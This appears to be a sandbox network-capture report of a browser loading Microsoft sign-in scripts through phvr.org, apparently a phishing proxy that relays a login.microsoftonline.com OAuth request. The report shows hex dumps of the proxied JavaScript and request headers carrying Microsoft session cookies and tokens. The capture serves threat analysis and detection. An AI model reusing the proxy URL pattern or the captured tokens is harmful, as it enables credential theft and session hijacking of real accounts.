https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:41 UTC	139	IN	HTTP/1.1 200 OK Content-Length: 689017 Content-Type: application/x-javascript Date: Wed, 03 Jul 2024 21:50:41 GMT Connection: close
2024-07-03 21:50:41 UTC	16245	IN	Data Raw: 0a 21 28 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 20 7b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 74 2c 20 69 2c 20 6f 20 3d 20 6e 5b 30 5d 2c 20 72 20 3d 20 6e 5b 31 5d 2c 20 73 20 3d 20 30 2c 20 63 20 3d 20 5b 5d 3b 20 73 20 3c 20 6f 2e 6c 65 6e 67 74 68 3b 20 73 2b 2b 29 0a 20 20 20 20 20 20 28 69 20 3d 20 6f 5b 73 5d 29 2c 0a 20 20 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 20 69 29 20 26 26 20 61 5b 69 5d 20 26 26 20 63 2e 70 75 73 68 28 61 5b 69 5d 5b 30 5d 29 2c 0a 20 20 20 20 20 20 20 20 28 61 5b 69 5d 20 3d 20 30 29 3b 0a 20 20 20 20 66 6f 72 20 28 74 20 69 6e 20 72 29 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f Data Ascii: !(function (e) { function n(n) { for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++) (i = o[s]), Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]), (a[i] = 0); for (t in r) Object.proto
2024-07-03 21:50:41 UTC	16384	IN	Data Raw: 6f 63 6b 65 64 3a 20 31 30 30 2c 0a 20 20 20 20 20 20 20 20 54 69 6c 65 73 3a 20 31 30 32 2c 0a 20 20 20 20 20 20 20 20 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 3a 20 31 30 33 2c 0a 20 20 20 20 20 20 20 20 46 65 64 43 6f 6e 66 6c 69 63 74 3a 20 31 30 35 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 3a 20 31 30 36 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 69 6e 3a 20 31 30 37 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 46 69 6e 69 73 68 3a 20 31 30 38 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 53 74 72 6f 6e 67 41 75 74 68 3a 20 31 30 39 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 3a 20 31 31 Data Ascii: ocked: 100, Tiles: 102, RemoteConnect: 103, FedConflict: 105, Win10Host_Login: 106, Win10Host_Login_PhoneSignin: 107, Win10Host_Finish: 108, Win10Host_StrongAuth: 109, Win10Host_HIP_Login: 11
2024-07-03 21:50:41 UTC	16384	IN	Data Raw: 20 28 50 52 4f 4f 46 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 54 79 70 65 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 45 6d 61 69 6c 3a 20 31 2c 0a 20 20 20 20 20 20 20 20 20 20 41 6c 74 45 6d 61 69 6c 3a 20 32 2c 0a 20 20 20 20 20 20 20 20 20 20 53 4d 53 3a 20 33 2c 0a 20 20 20 20 20 20 20 20 20 20 44 65 76 69 63 65 49 64 3a 20 34 2c 0a 20 20 20 20 20 20 20 20 20 20 43 53 53 3a 20 35 2c 0a 20 20 20 20 20 20 20 20 20 20 53 51 53 41 3a 20 36 2c 0a 20 20 20 20 20 20 20 20 20 20 43 65 72 74 69 66 69 63 61 74 65 3a 20 37 2c 0a 20 20 20 20 20 20 20 20 20 20 48 49 50 3a 20 38 2c 0a 20 20 20 20 20 20 20 20 20 20 42 69 72 74 68 64 61 79 3a 20 39 2c 0a 20 20 20 20 20 20 20 20 20 20 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 3a 20 31 30 2c 0a 20 20 20 20 20 20 Data Ascii: (PROOF = { Type: { Email: 1, AltEmail: 2, SMS: 3, DeviceId: 4, CSS: 5, SQSA: 6, Certificate: 7, HIP: 8, Birthday: 9, TOTPAuthenticator: 10,
2024-07-03 21:50:41 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 6e 20 7c 7c 20 22 22 20 3d 3d 3d 20 6e 20 7c 7c 20 28 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 50 2e 70 61 72 73 65 28 6e 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 2e 71 75 65 72 79 20 3d 20 74 2e 71 75 65 72 79 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 20 3d 20 73 2e 66 69 6e 64 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 2e 71 75 65 72 79 2c 20 65 2c 20 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 69 20 3f 20 74 2e 71 75 65 72 79 5b 69 5d 20 3a 20 22 22 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 46 72 6f 6d 43 Data Ascii: n \|\| "" === n \|\| (n = document.location.search); var t = P.parse(n); t.query = t.query \|\| {}; var i = s.findOwnProperty(t.query, e, !0); return i ? t.query[i] : ""; }, appendOrReplaceFromC
2024-07-03 21:50:41 UTC	16384	IN	Data Raw: 5d 2f 67 2c 0a 20 20 20 20 20 20 20 20 20 20 67 61 70 2c 0a 20 20 20 20 20 20 20 20 20 20 69 6e 64 65 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 6d 65 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 62 22 3a 20 22 5c 5c 62 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 74 22 3a 20 22 5c 5c 74 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 6e 22 3a 20 22 5c 5c 6e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 66 22 3a 20 22 5c 5c 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 72 22 3a 20 22 5c 5c 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 22 27 3a 20 27 5c 5c 22 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 5c 22 3a 20 22 5c 5c 5c 5c 22 2c 0a 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: ]/g, gap, indent, meta = { "\b": "\\b", "\t": "\\t", "\n": "\\n", "\f": "\\f", "\r": "\\r", '"': '\\"', "\\": "\\\\", },
2024-07-03 21:50:41 UTC	16384	IN	Data Raw: 20 20 20 20 76 61 72 20 6d 20 3d 20 66 2e 61 64 64 28 64 2c 20 63 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 2e 74 61 72 67 65 74 55 72 6c 20 3d 20 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 61 2e 48 61 6e 64 6c 65 72 2e 63 61 6c 6c 28 6e 2c 20 70 29 2c 20 6e 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 28 6e 2e 42 65 61 63 6f 6e 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 74 2c 20 69 2c 20 61 2c 20 6f 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 20 3d 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 76 28 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 70 2e 66 6f 72 45 61 63 68 28 Data Ascii: var m = f.add(d, c); p.targetUrl = m; } } a.Handler.call(n, p), n.sendRequest(); }), (n.Beacon = function (e, t, i, a, o) { var r = [], s = v(!0); p.forEach(
2024-07-03 21:50:41 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 6e 20 3f 20 28 6c 20 3d 3d 3d 20 70 2e 46 54 45 72 72 6f 72 20 3f 20 68 28 65 2c 20 64 29 20 3a 20 76 28 65 2c 20 64 29 29 20 3a 20 62 28 65 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6b 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 67 20 3d 20 22 22 29 2c 20 28 6c 20 3d 20 70 2e 45 72 72 6f 72 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 54 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 6c 20 3d 20 70 2e 54 69 6d 65 6f 75 74 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 28 67 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 Data Ascii: n ? (l === p.FTError ? h(e, d) : v(e, d)) : b(e); } function k() { (g = ""), (l = p.Error), (u = ""), (f = ""), v(d); } function T() { (l = p.Timeout), (u = ""), (f = ""), (g = ""), v(d);
2024-07-03 21:50:41 UTC	16384	IN	Data Raw: 3d 20 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 7b 20 63 72 65 64 54 79 70 65 3a 20 6d 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 2c 20 70 72 6f 6f 66 3a 20 65 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 77 69 74 63 68 20 28 28 28 74 2e 70 72 6f 6f 66 2e 69 73 45 6e 63 72 79 70 74 65 64 20 3d 20 21 30 29 2c 20 65 2e 74 79 70 65 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 65 2e 69 73 56 6f 69 63 65 4f 6e 6c 79 29 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: = n) { var t = { credType: m.OneTimeCode, proof: e }; switch (((t.proof.isEncrypted = !0), e.type)) { case PROOF.Type.SMS: case PROOF.Type.Voice: if (!e.isVoiceOnly) {
2024-07-03 21:50:41 UTC	16384	IN	Data Raw: 3d 20 70 2e 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 3f 22 20 2b 20 67 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 77 63 74 78 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4c 6f 67 69 6e 4f 70 74 69 6f 6e 73 25 33 44 33 25 32 36 22 20 2b 20 70 2e 65 78 74 72 61 63 74 28 22 77 63 74 78 22 2c 20 22 3f 22 20 2b 20 67 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 74 20 3d 20 74 2e 73 75 62 73 74 72 28 31 29 29 2c 20 28 65 20 3d 20 70 2e 61 70 70 65 6e 64 28 65 2c 20 74 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: = p.appendOrReplace( "?" + ge, "wctx", "LoginOptions%3D3%26" + p.extract("wctx", "?" + ge) ); (t = t.substr(1)), (e = p.append(e, t));
2024-07-03 21:50:41 UTC	16384	IN	Data Raw: 20 20 28 65 2e 65 78 70 6f 72 74 73 20 3d 20 70 29 3b 0a 20 20 7d 2c 0a 20 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 6e 2c 20 74 29 20 7b 0a 20 20 20 20 76 61 72 20 69 20 3d 20 74 28 32 29 2c 0a 20 20 20 20 20 20 61 20 3d 20 74 28 31 29 2c 0a 20 20 20 20 20 20 6f 20 3d 20 74 28 34 29 2c 0a 20 20 20 20 20 20 72 20 3d 20 74 28 30 29 2c 0a 20 20 20 20 20 20 73 20 3d 20 77 69 6e 64 6f 77 2c 0a 20 20 20 20 20 20 63 20 3d 20 72 2e 44 69 61 6c 6f 67 49 64 3b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 6e 20 3d 20 74 68 69 73 2c 0a 20 20 20 20 20 20 20 20 74 20 3d 20 65 2e 69 73 50 6c 61 74 66 6f 72 6d 41 75 74 68 65 6e 74 69 63 61 74 6f 72 41 76 61 69 6c 61 62 6c 65 3b 0a 20 20 20 20 20 20 28 6e 2e 6f 6e 52 65 67 Data Ascii: (e.exports = p); }, function (e, n, t) { var i = t(2), a = t(1), o = t(4), r = t(0), s = window, c = r.DialogId; function d(e) { var n = this, t = e.isPlatformAuthenticatorAvailable; (n.onReg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49775	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:41 UTC	2713	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_fo8rkc18qnhjh4wnzabsdg2.js HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:41 UTC	1390	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:41 GMT Content-Type: application/x-javascript content-length: 55503 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 29 May 2024 00:49:48 GMT ETag: 0x8DC7F793DAA3722 x-ms-request-id: 27543cf0-601e-001f-66d6-c97052000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215041Z-16578db7b5c2hrk7xsg5kqc5mc000000073000000000df2p x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-07-03 21:50:41 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2024-07-03 21:50:41 UTC	15932	IN	Data Raw: dd 7d 4d 73 23 47 b2 d8 dd bf 02 8b 75 ec 0c 9f 7a 20 7c f0 13 23 68 0c 02 e0 0c de 90 00 04 80 43 29 24 19 d1 04 8a 60 2f 81 6e bc ee c6 70 b8 d4 38 f6 e6 c3 3b f8 6a df 7c f0 c9 47 5f 7c f7 4f d9 88 e7 df e1 fc a8 aa ae ea 6e 00 e4 48 6f 77 9f 15 8a 21 ba eb 2b 2b 2b 2b 2b 33 2b 33 fb 77 37 6b 7f 1a 7b 81 ff 52 ec 3d aa df 85 e0 a5 bf f7 e8 dd bc f4 7e f4 7f de 0b 45 bc 0e fd 02 fe 2e 89 4f ab 20 8c a3 d7 1f dd b0 10 37 f0 55 e3 51 be ab 3f 7e 76 bc 59 dd 77 16 81 3b 13 b3 fa ef 2a 9f 5f cb a6 02 9b 4e dd c5 e2 65 ac 7a 70 62 27 f9 1d ec c1 03 37 6b fc ae 9c 14 7c c6 61 bc c6 a3 ee 28 28 2d 1b c2 09 4a d3 86 07 ff ae 1a c5 a2 13 bc 2c ef 7d 7e f9 63 32 0d 27 70 3c 00 fe 65 75 8f a0 f4 1b de cb 0a f4 0f 7f 0e f6 9c 10 fe 1c ee 39 6e 23 2c 8d e2 d0 f3 e7 Data Ascii: }Ms#Guz \|#hC)$`/np8;j\|G_\|OnHow!+++++3+3w7k{R=~E.O 7UQ?~vYw;*_Nezpb'7k\|a((-J,}~c2'p<eu9n#,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49780	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:42 UTC	2717	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
